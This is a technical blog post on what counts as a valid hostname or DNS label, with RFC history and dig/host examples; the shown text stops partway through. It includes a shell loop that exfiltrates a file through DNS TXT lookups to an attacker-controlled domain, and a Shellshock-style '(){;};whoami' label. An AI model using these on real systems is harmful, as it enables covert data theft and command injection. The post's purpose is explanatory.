810 lines
33 KiB
HTML
810 lines
33 KiB
HTML
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
|
|
|
|
<html lang="en">
|
|
<head>
|
|
<title>What's in a hostname?</title>
|
|
<meta http-equiv="content-type" content= "text/html; charset=utf-8">
|
|
<meta name="robots" content="noai,noimageai">
|
|
|
|
<meta property="og:url" content="https://www.netmeister.org/blog/hostnames.html">
|
|
<meta property="og:title" content="What's in a hostname?">
|
|
<meta property="og:description" content="The
|
|
common definition of a 'valid hostname' is often
|
|
reduced to a simple regular expression, but as the saying
|
|
goes: 'Now you have two problems.' Because hostnames
|
|
are DNS labels and those... well, it's the DNS. All
|
|
bets are off.">
|
|
<meta property="og:image" content="https://www.netmeister.org/blog/images/hostname.png">
|
|
|
|
<link rel="made" href="mailto:jschauma@netmeister.org">
|
|
<link rel="alternate" type="application/rss+xml" title="Signs of Triviality" href="https://www.netmeister.org/blog/rss.xml">
|
|
<link rel="stylesheet" type="text/css" href="blog.css">
|
|
</head>
|
|
|
|
<body>
|
|
<h1>Signs of Triviality</h1>
|
|
<em>Opinions, mostly my own, on the importance of being and other things.</em>
|
|
<hr class="noshade" style="width:100%;">
|
|
<small>
|
|
[<a href="../index.html">homepage</a>]
|
|
[<a href="index.html">blog</a>]
|
|
[<a href="mailto:jschauma@netmeister.org">jschauma@netmeister.org</a>]
|
|
[<a href="https://mstdn.social/@jschauma">@jschauma</a>]
|
|
[<a href="rss.xml">RSS</a>]
|
|
</small>
|
|
<input type="checkbox" id="theme-checker" hidden>
|
|
<div class="container">
|
|
<label class="switch" for="theme-checker" title="Dark/Light mode">
|
|
<span class="slider round"></span>
|
|
</label>
|
|
</div>
|
|
<hr class="noshade" style="width:100%;">
|
|
<h2>What's in a hostname?</h2>
|
|
<table border="0" width="75%">
|
|
<tr>
|
|
<td>
|
|
<p><small>October 18, 2021</small></p>
|
|
<p>
|
|
<img src="/blog/images/hostname.png" align="right"
|
|
alt="Hello, my hostname is... undefined.">
|
|
I think a lot of people on the internet are wrong.
|
|
In particular (well, this time, anyway), about what
|
|
is and isn't valid to use in a "hostname". Yes,
|
|
yes, <a href="https://xkcd.com/386/">xkcd 386</a>, but
|
|
still, humor me, will ya?
|
|
</p>
|
|
|
|
<p>Just about everywhere you look, people will tell
|
|
you that a valid hostname consists only of the
|
|
characters <tt>a-z</tt>, numbers, and hyphens
|
|
("<tt>-</tt>"), but that they can't start or end with
|
|
a hyphen. So you start putting together a regular
|
|
expression along the lines of:</p>
|
|
|
|
<div style="text-align: center;"><pre class="code">
|
|
^[a-z0-9]+(([a-z0-9-])*[a-z0-9]+)*$
|
|
</pre></div>
|
|
|
|
<p>Now, as the <a
|
|
href="http://regex.info/blog/2006-09-15/247">famous
|
|
saying</a> goes, you have (at least) two
|
|
problems:</p>
|
|
|
|
<p>DNS names are case-insensitive, so
|
|
<tt>www.netmeister.org</tt> and
|
|
<tt>wWw.NeTmEiStEr.OrG</tt> are equivalent:</p>
|
|
|
|
<div class="centerbox"><pre class="code">
|
|
$ host www.netmeister.org
|
|
www.netmeister.org is an alias for panix.netmeister.org.
|
|
panix.netmeister.org has address 166.84.7.99
|
|
panix.netmeister.org has IPv6 address 2001:470:30:84:e276:63ff:fe72:3900
|
|
$ host wWw.NeTmEiStEr.OrG
|
|
www.netmeister.org is an alias for panix.netmeister.org.
|
|
panix.netmeister.org has address 166.84.7.99
|
|
panix.netmeister.org has IPv6 address 2001:470:30:84:e276:63ff:fe72:3900
|
|
$ </pre></div>
|
|
|
|
<p> And in my zone file, I can create labels using
|
|
upper or lower case characters, and a lookup for
|
|
either will yield <em>all</em> matching results:</p>
|
|
|
|
<div class="centerbox"><pre class="code">
|
|
$ grep ^[bB] valid.dns.netmeister.org
|
|
b IN A 203.0.113.4
|
|
b IN AAAA 2001:db8:b::1
|
|
B IN A 203.0.113.5
|
|
B IN AAAA 2001:db8:b::2
|
|
$ host b.valid.dns.netmeister.org
|
|
b.valid.dns.netmeister.org has address 203.0.113.4
|
|
b.valid.dns.netmeister.org has address 203.0.113.5
|
|
b.valid.dns.netmeister.org has IPv6 address 2001:db8:b::2
|
|
b.valid.dns.netmeister.org has IPv6 address 2001:db8:b::1
|
|
$ host B.valid.dns.netmeister.org
|
|
b.valid.dns.netmeister.org has address 203.0.113.4
|
|
b.valid.dns.netmeister.org has address 203.0.113.5
|
|
b.valid.dns.netmeister.org has IPv6 address 2001:db8:b::2
|
|
b.valid.dns.netmeister.org has IPv6 address 2001:db8:b::1
|
|
$ </pre></div>
|
|
|
|
<p>
|
|
(This, by the way, is why you need to normalize, e.g.,
|
|
hostnames in client certificates, SNIs, or
|
|
<tt>Host:</tt> headers, especially when using those in
|
|
an authorization context.)</p>
|
|
|
|
<p>But ok, adding <tt>A-Z</tt> to the regex isn't hard.
|
|
But we also have to account for special cases involving
|
|
hyphens. Common wisdom tells us we can't have a
|
|
hostname start or end with a hyphen, but what about
|
|
multiple successive hyphens? Let's give it a try:</p>
|
|
|
|
<div class="centerbox"><pre class="code">
|
|
$ host 0-------------------------------------------------------------9.valid.dns.netmeister.org
|
|
0-------------------------------------------------------------9.valid.dns.netmeister.org has address 203.0.113.7
|
|
0-------------------------------------------------------------9.valid.dns.netmeister.org has IPv6 address 2001:db8:53::7
|
|
$ </pre></div>
|
|
|
|
<p>Hey, that works. But... wait a second, <a
|
|
href="https://www.rfc-editor.org/rfc/rfc5891#section-4.2.3.1">RFC5891</a>
|
|
(2010), which adds support for Internationalized
|
|
Domain Names (IDNs) in the DNS notes:</p>
|
|
|
|
<blockquote class="pretty">
|
|
The Unicode string MUST NOT contain "--" (two
|
|
consecutive hyphens) in the third and fourth character
|
|
positions and MUST NOT start or end with a "-"
|
|
(hyphen).
|
|
</blockquote>
|
|
|
|
<p>Remember <a href="tlds.html#idns">IDNs</a>? Those
|
|
are used in the DNS to represent names using non-ascii
|
|
alphabets, but are actually written into the DNS using
|
|
<a
|
|
href="https://en.wikipedia.org/wiki/Punycode">punycode</a>.
|
|
Punycode uses the ASCII Compatible Encoding (ACE)
|
|
prefix "<em>xn--</em>", which... makes things
|
|
<em>really</em> messy:</p>
|
|
|
|
<p>"<tt>ä.valid.dns.netmeister.org</tt>" is an IDN
|
|
with punycode representation
|
|
"<tt>xn--4ca.valid.dns.netmeister.org</tt>". Your
|
|
browser or an HTTP client like, e.g., <tt>curl(1)</tt>
|
|
may automatically translate <tt>ä</tt> to
|
|
<tt>xn--4ca</tt> for you, so will not actually issue a
|
|
DNS lookup for
|
|
"<tt>ä.valid.dns.netmeister.org</tt>", but for
|
|
"<tt>xn--4ca.valid.dns.netmeister.org</tt>". Likewise
|
|
for, say, <tt>💩</tt> / <tt>xn--ls8h</tt>.</p>
|
|
|
|
<p>But not all Unicode Code Points are necessarily
|
|
allowed in IDNs (see <a
|
|
href="https://datatracker.ietf.org/doc/html/rfc5892#appendix-B.1">RFC5892</a>);
|
|
<tt>ä</tt> (00E4) is allowed, 💩 (1F4A9)
|
|
is <em>not</em>. Never mind that despite it violating
|
|
RFC5892, the domain <a
|
|
href="https://xn--ls8h.la/">💩.la</a> exists,
|
|
got a TLS certificate from Let's Encrypt, and can be
|
|
reached via your browser; it merely shows that
|
|
registrars and clients do not necessarily or
|
|
consistently implement this check.</p>
|
|
|
|
<p>Now your <em>browser</em> is likely to take
|
|
"<tt>ä.valid.dns.netmeister.org</tt>", translate
|
|
it to "<tt>xn--4ca.valid.dns.netmeister.org</tt>" and
|
|
then perform a DNS lookup, but a command-line lookup
|
|
would try "<tt>ä</tt>" and fail:</p>
|
|
|
|
<div class="centerbox"><pre class="code">
|
|
$ host xn--4ca.valid.dns.netmeister.org
|
|
xn--4ca.valid.dns.netmeister.org has address 203.0.113.7
|
|
xn--4ca.valid.dns.netmeister.org has IPv6 address 2001:db8:53::7
|
|
$ host ä.valid.dns.netmeister.org
|
|
host ä.valid.dns.netmeister.org not found: 3(NXDOMAIN)
|
|
$ host xn--ls8h.valid.dns.netmeister.org
|
|
xn--ls8h.valid.dns.netmeister.org has address 203.0.113.6
|
|
xn--ls8h.valid.dns.netmeister.org has IPv6 address 2001:db8:53::6
|
|
$ host 💩.valid.dns.netmeister.org
|
|
Host 💩.valid.dns.netmeister.org not found: 3(NXDOMAIN)
|
|
$
|
|
</pre></div>
|
|
|
|
<p><tt>curl(1)</tt>, for example, may behave
|
|
differently depending on the version or how it was
|
|
built:</p>
|
|
|
|
<div class="centerbox"><pre class="code">
|
|
# successful conversion to xn--4ca.valid.dns.netmeister.org
|
|
$ curl -v -I http://ä.valid.dns.netmeister.org
|
|
* Trying 203.0.113.7:80...
|
|
|
|
vs
|
|
|
|
$ curl -I http://ä.valid.dns.netmeister.or
|
|
curl: (3) Failed to convert ä.valid.dns.netmeister.org to ACE; could not convert string to UTF-8
|
|
</pre></div>
|
|
|
|
<p>As we observe, on successful conversion of the IDN into
|
|
punycode we get a <tt>xn--</tt>-prefixed DNS label
|
|
name, which is why we don't want any names with two
|
|
hyphens in the third and fourth position.
|
|
<tt>bind9</tt> let us do that anyway, but to generate
|
|
a <em>valid</em> label, we might create names like
|
|
this:</p>
|
|
|
|
<div class="centerbox"><pre class="code">
|
|
$ host 0-a----------------------------------------------------------1.0-b----------------------------------------------------------2.0-c----------------------------------------------------------3.0-d-------------------------------4.valid.dns.netmeister.org
|
|
0-a----------------------------------------------------------1.0-b----------------------------------------------------------2.0-c----------------------------------------------------------3.0-d-------------------------------4.valid.dns.netmeister.org has address 203.0.113.8
|
|
0-a----------------------------------------------------------1.0-b----------------------------------------------------------2.0-c----------------------------------------------------------3.0-d-------------------------------4.valid.dns.netmeister.org has IPv6 address 2001:db8:1:2:3:4:5:678
|
|
$ </pre></div>
|
|
|
|
<p>Oooookay then. That's pretty long. Can you
|
|
just... do that? Is there no limitation on the
|
|
<em>length</em> of a hostname?</p>
|
|
|
|
<p>There is. But it's complicated: When matching
|
|
"hostnames", we're often more interested in
|
|
<em>fully-qualified domain names</em>, which consist
|
|
of multiple <em>DNS labels</em>. Each of those has a
|
|
length restriction, while we also have a total <a
|
|
href="https://devblogs.microsoft.com/oldnewthing/20120412-00/?p=7873">maximum
|
|
length of the FQDN</a>. Specifically, the DNS
|
|
limitations are spelled out in <a
|
|
href="https://datatracker.ietf.org/doc/html/rfc1035#section-2.3.4">RFC1035</a>
|
|
from 1987:</p>
|
|
|
|
<blockquote class="pretty" style="width: max-content">
|
|
<pre>Various objects and parameters in the DNS have size
|
|
limits. They are listed below. Some could be easily
|
|
changed, others are more fundamental.
|
|
|
|
labels 63 octets or less
|
|
names 255 octets or less</pre></blockquote>
|
|
|
|
<p>So in addition to the initial examples of "valid
|
|
hostnames", the following would also need to be
|
|
matched correctly:</p>
|
|
|
|
<div class="centerbox"><pre class="code">
|
|
# A single label cannot be longer than 63 octets:
|
|
$ host aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.valid.dns.netmeister.org
|
|
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.valid.dns.netmeister.org has address 203.0.113.8
|
|
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.valid.dns.netmeister.org has IPv6 address 2001:db8:dead:f1ea::1
|
|
|
|
# But you can have many labels so long as the FQDN is <= 255 octets:
|
|
$ host 0.1.2.3.4.5.6.7.8.9.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.x.y.z.z.y.x.w.v.u.t.s.r.q.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.a.9.8.7.6.5.4.3.2.1.0.0.1.2.3.4.5.6.7.8.9.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.x.y.z.z.y.x.w.v.ut.valid.dns.netmeister.org
|
|
0.1.2.3.4.5.6.7.8.9.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.x.y.z.z.y.x.w.v.u.t.s.r.q.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.a.9.8.7.6.5.4.3.2.1.0.0.1.2.3.4.5.6.7.8.9.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.x.y.z.z.y.x.w.v.ut.valid.dns.netmeister.org
|
|
has address 203.0.113.3
|
|
0.1.2.3.4.5.6.7.8.9.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.x.y.z.z.y.x.w.v.u.t.s.r.q.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.a.9.8.7.6.5.4.3.2.1.0.0.1.2.3.4.5.6.7.8.9.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.x.y.z.z.y.x.w.v.ut.valid.dns.netmeister.org
|
|
has IPv6 address 2001:db8:0:1:2:3:4:5
|
|
$ </pre></div>
|
|
|
|
<p>With 63 octets per label and 253 total bytes in the
|
|
FQDN, you can see how you can then use DNS lookups for
|
|
data exfiltration:</p>
|
|
|
|
<div class="centerbox"><pre class="code">
|
|
$ for label in $(base64 <payload | fold -w 200 | sed -e 's/.\{63\}/&./g'); do
|
|
dig txt $label.yourdomain
|
|
done
|
|
</pre></div>
|
|
|
|
<p>On the authoritative DNS server you control, simply
|
|
reconstruct the original data from the DNS lookups.
|
|
Nice. But back to the question of what makes a "valid
|
|
hostname"...</p>
|
|
|
|
<p>Trying to encode all of the above so far in a
|
|
regular expression becomes silly quickly, and is thus
|
|
left as an exercise for those who enjoy copying code
|
|
from Stackoverflow without fully understanding what it
|
|
does. But ok, let's stick with the basic rule of only
|
|
allowing <tt>[a-z0-9-]</tt>, meaning we're talking
|
|
about an individual DNS <em>label</em>. Where did
|
|
people pick up the rules about only allowing
|
|
<tt>[a-z0-9-]</tt>?</p>
|
|
|
|
<p>The canonical citation for this restriction remains
|
|
<a
|
|
href="https://datatracker.ietf.org/doc/html/rfc952">RFC952</a>,
|
|
which dates back to 1985 (and thus predates the DNS
|
|
itself). In fact, RFC952 is entitled "<em>DOD INTERNET
|
|
HOST TABLE SPECIFICATION</em>", providing a lexical
|
|
grammar for entries of type <tt>NET</tt>,
|
|
<tt>GATEWAY</tt>, <tt>HOST</tt>, and
|
|
<tt>DOMAIN</tt>:</p>
|
|
|
|
<div style="text-align: center;"><pre class="code">
|
|
<hname> ::= <name>*["."<name>]
|
|
<name> ::= <let>[*[<let-or-digit-or-hyphen>]<let-or-digit>]
|
|
</pre></div>
|
|
|
|
<p>But <a
|
|
href="https://www.rfc-editor.org/rfc/rfc1033">RFC1033</a>
|
|
(1987), the "<em>DOMAIN ADMINISTRATORS OPERATIONS
|
|
GUIDE</em>" says:</p>
|
|
|
|
<blockquote class="pretty" style="font-size: 1em"> The
|
|
domain system allows a label <span class="hl1">to
|
|
contain any 8-bit character</span>. Although the
|
|
domain system has no restrictions, other protocols
|
|
such as SMTP do have name restrictions. Because of
|
|
other protocol restrictions, only the following
|
|
characters are <span class="hl1">recommended</span>
|
|
for use in a host name (besides the dot
|
|
separator):<br> <br>
|
|
"A-Z",
|
|
"a-z", "0-9", dash and underscore </blockquote>
|
|
|
|
<p>The DNS "<em>DOMAIN NAMES - IMPLEMENTATION AND
|
|
SPECIFICATION</em>" <a
|
|
href="https://datatracker.ietf.org/doc/html/rfc1035">RFC1035</a>
|
|
(1987) states that "<em>when creating a new host name,
|
|
the old rules for HOSTS.TXT should be followed.</em>",
|
|
and <a
|
|
href="https://datatracker.ietf.org/doc/html/rfc1123#section-2">RFC1123</a>
|
|
(1989) updates RFC952 to allow hostnames to start with
|
|
a letter <em>or</em> a digit, but that's about it.
|
|
<a
|
|
href="https://www.rfc-editor.org/rfc/rfc1912#section-2.1">RFC1912</a>
|
|
(1996) similarly suggests as much:</p>
|
|
|
|
<blockquote class="pretty" style="font-size: 1em">
|
|
Allowable characters in a label for a host name are
|
|
only ASCII letters, digits, and the `-' character.
|
|
Labels may not be all numbers, but may have a leading
|
|
digit (e.g., 3com.com). Labels must end and begin
|
|
only with a letter or digit. [...] The presence of
|
|
underscores in a label is allowed in [RFC 1033],
|
|
except [RFC 1033] is informational only and was not
|
|
defining a standard.
|
|
</blockquote>
|
|
|
|
<p>Ergo: hostnames MUST match only <tt>[a-z0-9-]</tt>,
|
|
right? Well, fun fact: RFC1912 is <em>also</em> only
|
|
informational, but ok, then RFC952/RFC1123 still
|
|
holds. But then why do we even have so many questions
|
|
about what makes a valid hostname?</p>
|
|
|
|
<p> Now <em>that</em> appears to have its origin in
|
|
Microsoft Windows's use of <a
|
|
href="https://en.wikipedia.org/wiki/NetBIOS">NetBIOS</a>,
|
|
which defines "<em>NetBIOS computer names</em>" in <a
|
|
href="https://datatracker.ietf.org/doc/html/rfc1001">RFC1001</a>
|
|
as 16 bytes (though Microsoft only allows 15 bytes,
|
|
using the last byte to encode the devices
|
|
functionality), and which does allow, for example,
|
|
spaces as well as the underscore ("<tt>_</tt>") (see,
|
|
e.g., <a
|
|
href="https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/naming-conventions-for-computer-domain-site-ou#computer-names">AD
|
|
naming conventions</a>). Now even in the days of
|
|
Windows NT people apparently understood that spaces
|
|
in names can complicate things, so replacing spaces
|
|
with underscores appears to have been a popular
|
|
approach: "<tt>MY COMPUTER</tt>" becomes
|
|
"<tt>MY_COMPUTER</tt>".</p>
|
|
|
|
<p>But while a NetBIOS "computer name" is <em>not</em>
|
|
a <em>hostname</em>, you do need one of those to
|
|
communicate with other hosts on the internet (i.e.,
|
|
outside of NetBIOS), and so you end up with people
|
|
trying to add their NetBIOS "computer names" into the
|
|
DNS, have their software or name server reject the
|
|
name due to an invalid character, and then go and
|
|
ask on Stackoverflow what the set of valid characters
|
|
for a hostname is. Which is how we got here.</p>
|
|
|
|
<p>But... <em>is</em> an underscore an invalid
|
|
character in a hostname? It's pretty clear from, say,
|
|
<a href="dns-rrs.html#srv">SRV</a> or <a
|
|
href="dns-rrs.html#tlsa">TLSA</a> records and the
|
|
widespread use of <a
|
|
href="https://en.wikipedia.org/wiki/DomainKeys_Identified_Mail">DKIM</a> that the
|
|
DNS has no problem with them:</p>
|
|
|
|
<div style="text-align: center;"><pre class="code">
|
|
$ dig +short tlsa _443._tcp.www.netmeister.org
|
|
3 1 1 2D2379261544C9841025CE4F728F7D4D5A00E9B0B1EF2B1E2EEBBED7 B1843543
|
|
$ dig +short txt 2021._domainkey.netmeister.org.
|
|
"v=DKIM1; k=rsa; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCwSwZZHRcoVIHxjlETstEBKt/ \
|
|
YiLFpZ0VGvz1ufZLVWKuOF1iKJOF/rDjzehyNK2CkJscPzcuMV6zMQyxiEOOPl4Pkugd4G27G4klqLK9TZ \
|
|
EC3a77Iy4c1gu+10CSjsPPZgNCflLxmw/VtPs6n/ENgZyH6HUAv04yw8aMQnVnwlQIDAQAB"
|
|
$
|
|
</pre></div>
|
|
|
|
<p> In fact, many modern nameservers use the
|
|
underscore to implement <a
|
|
href="/twitter/1372611659148185616">DNS
|
|
Query Name Minimisation</a> (<a
|
|
href="https://datatracker.ietf.org/doc/html/rfc7816">RFC7816</a>)
|
|
using exactly underscores as the left-most label, so
|
|
clearly the underscore is a <em>valid</em> character
|
|
-- for a <em>DNS label</em>, at least.</p>
|
|
|
|
<p>So what's the set of valid characters for a <em>DNS
|
|
label</em> that's <em>not</em> a hostname? Aside from
|
|
the "informational" RFCs noted above, <a
|
|
href="https://datatracker.ietf.org/doc/html/rfc2181#section-11">RFC2181</a>
|
|
provided a few important "<em>Clarifications to the
|
|
DNS Specification</em>" back in 1997:</p>
|
|
|
|
<blockquote class="pretty" style="font-size: 1em">
|
|
Occasionally it is assumed that the Domain Name System
|
|
serves only the purpose of mapping Internet host names
|
|
to data, and mapping Internet addresses to host names.
|
|
This is not correct, the DNS is a general (if somewhat
|
|
limited) hierarchical database, and can store almost
|
|
any kind of data, for almost any purpose.
|
|
<br><br>
|
|
|
|
The DNS itself places only one restriction on the
|
|
particular labels that can be used to identify
|
|
resource records. That one restriction relates to the
|
|
length of the label and the full name. The length of
|
|
any one label is limited to between 1 and 63 octets.
|
|
A full domain name is limited to 255 octets (including
|
|
the separators). [...] <span class="hl1">Those
|
|
restrictions aside, any binary string whatever can be
|
|
used as the label of any resource record.</span>
|
|
Similarly, any binary string can serve as the value of
|
|
any record that includes a domain name as some or all
|
|
of its value (SOA, NS, MX, PTR, CNAME, and any others
|
|
that may be added). </blockquote>
|
|
|
|
<p>Oh, look at that: "<b>any binary string whatever
|
|
can be used as the label of any resource record.</b>"
|
|
That includes the underscore. But even though a DNS
|
|
<em>label</em> (and <tt>RDATA</tt>, incidentally) can
|
|
contain just about anything, the above history has
|
|
lead to DNS implementations applying different rules
|
|
to labels that function as "hostnames" -- specifically,
|
|
labels for resource records of type <tt>A</tt>,
|
|
<tt>AAAA</tt>, and <tt>MX</tt>, as well as for RDATA
|
|
of types <tt>NS</tt>, <tt>SOA</tt>, <tt>MX</tt>, and
|
|
<tt>SRV</tt> (at least):</p>
|
|
|
|
<div style="text-align: center;"><pre class="code">
|
|
$ grep -n ^_ valid.dns.netmeister.org
|
|
53: _ IN TXT "no query minimization here"
|
|
70: _ IN A 203.0.113.9
|
|
$ named-checkzone valid.dns.netmeister.org valid.dns.netmeister.org
|
|
valid.dns.netmeister.org:70: _.valid.dns.netmeister.org: bad owner name (check-names)
|
|
zone valid.dns.netmeister.org/IN: loaded serial
|
|
2021101513
|
|
OK
|
|
$ </pre></div>
|
|
|
|
<p>Note that <tt>named-checkzone</tt> did not complain
|
|
about the <tt>TXT</tt> record on line 53, and so that
|
|
is indeed a valid DNS label:</p>
|
|
|
|
<div style="text-align: center;"><pre class="code">
|
|
$ dig +short _.valid.dns.netmeister.org txt
|
|
"no query minimization here"
|
|
$ </pre></div>
|
|
|
|
<p>In other words, we can use all sorts of characters
|
|
for records of other types, notably include
|
|
<tt>CNAME</tt> records:</p>
|
|
|
|
<div style="text-align: center;"><pre class="code">
|
|
$ host ________.valid.dns.netmeister.org
|
|
________.valid.dns.netmeister.org is an alias for www.netmeister.org.
|
|
www.netmeister.org is an alias for panix.netmeister.org.
|
|
panix.netmeister.org has address 166.84.7.99
|
|
panix.netmeister.org has IPv6 address 2001:470:30:84:e276:63ff:fe72:3900
|
|
$ </pre></div>
|
|
|
|
<p>Now this makes things interesting, because
|
|
virtually everybody considers a <tt>CNAME</tt> to be a
|
|
"hostname", and FQDNs that are <tt>CNAME</tt>s end up
|
|
in all sorts of places where we assume they are
|
|
<em>hostnames</em>. But note also that RFC2181
|
|
stresses:</p>
|
|
|
|
<blockquote class="pretty" style="font-size: 1em">
|
|
Implementations of the DNS protocols must not place
|
|
any restrictions on the labels that can be used. In
|
|
particular, DNS servers must not refuse to serve a
|
|
zone because it contains labels that might not be
|
|
acceptable to some DNS client programs. A DNS server
|
|
may be configurable to issue warnings when loading, or
|
|
even to refuse to load, a primary zone containing
|
|
labels that might be considered questionable, however
|
|
this should not happen by default.
|
|
</blockquote>
|
|
|
|
<p>And so -- ignoring the discussion of what should or
|
|
shouldn't be a "default" -- we <em>can</em> instruct,
|
|
e.g., <a
|
|
href="https://bind9.readthedocs.io/en/latest/reference.html">bind9</a>
|
|
to simply not complain about so-called "invalid"
|
|
names, since we have already established that, outside
|
|
of the length restriction, there really is no such
|
|
thing. And then:</p>
|
|
|
|
<div style="text-align: center;"><pre class="code">
|
|
# A "hostname" must not start with a hyphen:
|
|
$ dig +short aaaa -q "-.invalid.dns.netmeister.org"
|
|
2001:db8:fa4e::1
|
|
|
|
# ...nor end with a hyphen:
|
|
$ dig +short aaaa a-.invalid.dns.netmeister.org
|
|
2001:db8:fa4e::2
|
|
|
|
# MX records should not allow special characters like '@'
|
|
$ dig +short mx jschauma@this.is.invalid.dns.netmeister.org
|
|
50 panix.netmeister.org.
|
|
|
|
# You can't quote the ., but you sure can make it look like you can:
|
|
$ host "'.'.invalid.dns.netmeister.org"
|
|
'.'.invalid.dns.netmeister.org has address 192.0.2.8
|
|
'.'.invalid.dns.netmeister.org has IPv6 address 2001:db8:fa4e::8
|
|
|
|
# In fact, all bets are off:
|
|
$ dig +short "¯\_(ツ)_/¯.invalid.dns.netmeister.org"
|
|
192.0.2.5
|
|
$ dig +short aaaa "¯\_(ツ)_/¯.invalid.dns.netmeister.org"
|
|
2001:db8:fa4e::5
|
|
</pre></div>
|
|
|
|
<p>With <tt>check-names</tt> disabled, we can then
|
|
also create a label with a literal non-punycode IDN /
|
|
emoji, thereby allowing tools like <tt>host(1)</tt>
|
|
and <tt>dig(1)</tt> to work:</p>
|
|
|
|
<div style="text-align: center;"><pre class="code">
|
|
$ host ä.invalid.dns.netmeister.org
|
|
\195\131\194\164.invalid.dns.netmeister.org has address 192.0.2.11
|
|
\195\131\194\164.invalid.dns.netmeister.org has IPv6 address 2001:db8:fa4e::11
|
|
$ host 💩.invalid.dns.netmeister.org
|
|
\195\176\194\159\194\146\194\169.invalid.dns.netmeister.org has address 192.0.2.10
|
|
\195\176\194\159\194\146\194\169.invalid.dns.netmeister.org has IPv6 address 2001:db8:fa4e::10
|
|
</pre></div>
|
|
|
|
<p>This still feels like cheating, though, because we
|
|
had to explicitly disable <tt>check-names</tt> in our
|
|
<tt>bind9</tt> configuration file. But remember that
|
|
anything that's "invalid" for "hostnames" (as in
|
|
<tt>A</tt> and <tt>AAAA</tt> records) still
|
|
<em>is</em> valid for <tt>CNAME</tt> records. So all
|
|
of the following shenanigans will work and are
|
|
<em>entirely</em> "valid":</p>
|
|
|
|
<div style="text-align: center;"><pre class="code">
|
|
$ host 'www.netmeister.org. .is.valid.dns.netmeister.org'
|
|
www.netmeister.org.\032.is.valid.dns.netmeister.org is an alias for www.netmeister.org.
|
|
www.netmeister.org is an alias for panix.netmeister.org.
|
|
panix.netmeister.org has address 166.84.7.99
|
|
panix.netmeister.org has IPv6 address 2001:470:30:84:e276:63ff:fe72:3900
|
|
$ host "¯\_(ツ)_/¯.valid.dns.netmeister.org"
|
|
\195\130\194\175_\(\195\163\194\131\194\132\)_/\195\130\194\175.valid.dns.netmeister.org is an alias for 1.valid.dns.netmeister.org.
|
|
1.valid.dns.netmeister.org has address 203.0.113.1
|
|
1.valid.dns.netmeister.org has IPv6 address 2001:db8:1::1
|
|
$ host '$HOSTNAME.valid.dns.netmeister.org'
|
|
\$HOSTNAME.valid.dns.netmeister.org is an alias for 1.valid.dns.netmeister.org.
|
|
1.valid.dns.netmeister.org has address 203.0.113.1
|
|
1.valid.dns.netmeister.org has IPv6 address 2001:db8:1::1
|
|
$ host '(){;};whoami.valid.dns.netmeister.org'
|
|
\(\){\;}\;whoami.valid.dns.netmeister.org is an alias for 1.valid.dns.netmeister.org.
|
|
1.valid.dns.netmeister.org has address 203.0.113.1
|
|
1.valid.dns.netmeister.org has IPv6 address 2001:db8:1::1
|
|
</pre></div>
|
|
|
|
<p>"But those aren't <em>hostnames</em>!", you
|
|
say. Which... is true. But they're used <em>as</em>
|
|
hostnames and used <em>in a hostname context</em> for
|
|
all intents and purposes. Which of course makes
|
|
things like <tt>(){;};whoami</tt> particularly
|
|
dangerous -- remember <a
|
|
href="https://en.wikipedia.org/wiki/Shellshock_(software_bug)">Shellshock</a>?
|
|
Setting a "hostname" via DHCP was <a
|
|
href="https://blog.trendmicro.com/trendlabs-security-intelligence/bash-bug-saga-continues-shellshock-exploit-via-dhcp/">exactly
|
|
one such scenario</a>. And what exactly is a
|
|
"hostname" supposed to be, anyway?</p>
|
|
|
|
<p>A "hostname" can mean many different things (as
|
|
noted in <a
|
|
href="https://datatracker.ietf.org/doc/html/rfc7719#section-2">RFC7719</a>). It
|
|
may refer to a DNS label of an <tt>A</tt> or
|
|
<tt>AAAA</tt> record, it may refer to a complete FQDN,
|
|
or it may be "the left-most label of a FQDN". And
|
|
this distinction between "the left-most component of a
|
|
FQDN" and a FQDN is important even if you stick to all
|
|
common definitions of "validity". For example,
|
|
consider the hostname <tt>0xcafe</tt>, which clearly
|
|
matches <tt>^[a-zA-Z0-9-]+$</tt>: </p>
|
|
|
|
<div style="text-align: center;"><pre class="code">
|
|
$ grep domain /etc/resolv.conf
|
|
domain valid.dns.netmeister.org # save ourselves some typing
|
|
$ host 0xcafe
|
|
0xcafe.valid.dns.netmeister.org has address 203.0.113.10
|
|
0xcafe.valid.dns.netmeister.org has IPv6 address 2001:db8:cafe:cafe:cafe:cafe:cafe:c0fe
|
|
$ ping 0xcafe
|
|
PING 0xcafe (0.0.202.254): 56 data bytes
|
|
^C
|
|
</pre></div>
|
|
|
|
<p>Since <tt>0xcafe</tt> is not a FQDN, our
|
|
<tt>host(1)</tt> command will append
|
|
<tt>.valid.dns.netmeister.org</tt>. But
|
|
<tt>ping(1)</tt> says "Hey, that's just a hex number,
|
|
let me <a href="inet_aton.html">pretend it's an IP address</a> and ping
|
|
<em>that</em> instead.". Yay!</p>
|
|
|
|
<p>But... isn't a "hostname" in the end whatever the
|
|
<tt>hostname(1)</tt> command returns (depending on
|
|
your Unix flavor using either the <tt>-s</tt> flag or
|
|
as a default)? And shouldn't <em>that</em> define
|
|
what is and isn't "valid"?</p>
|
|
|
|
<p>Well, guess what: the <tt>hostname(1)</tt> command
|
|
itself may not enforce any restrictions on
|
|
what you <em>set</em> your system's hostname to. Even
|
|
if your <tt>hostname(1)</tt> does, your
|
|
<tt>sethostname(2)</tt> probably does not:</p>
|
|
|
|
<div style="text-align: center;"><pre class="code">
|
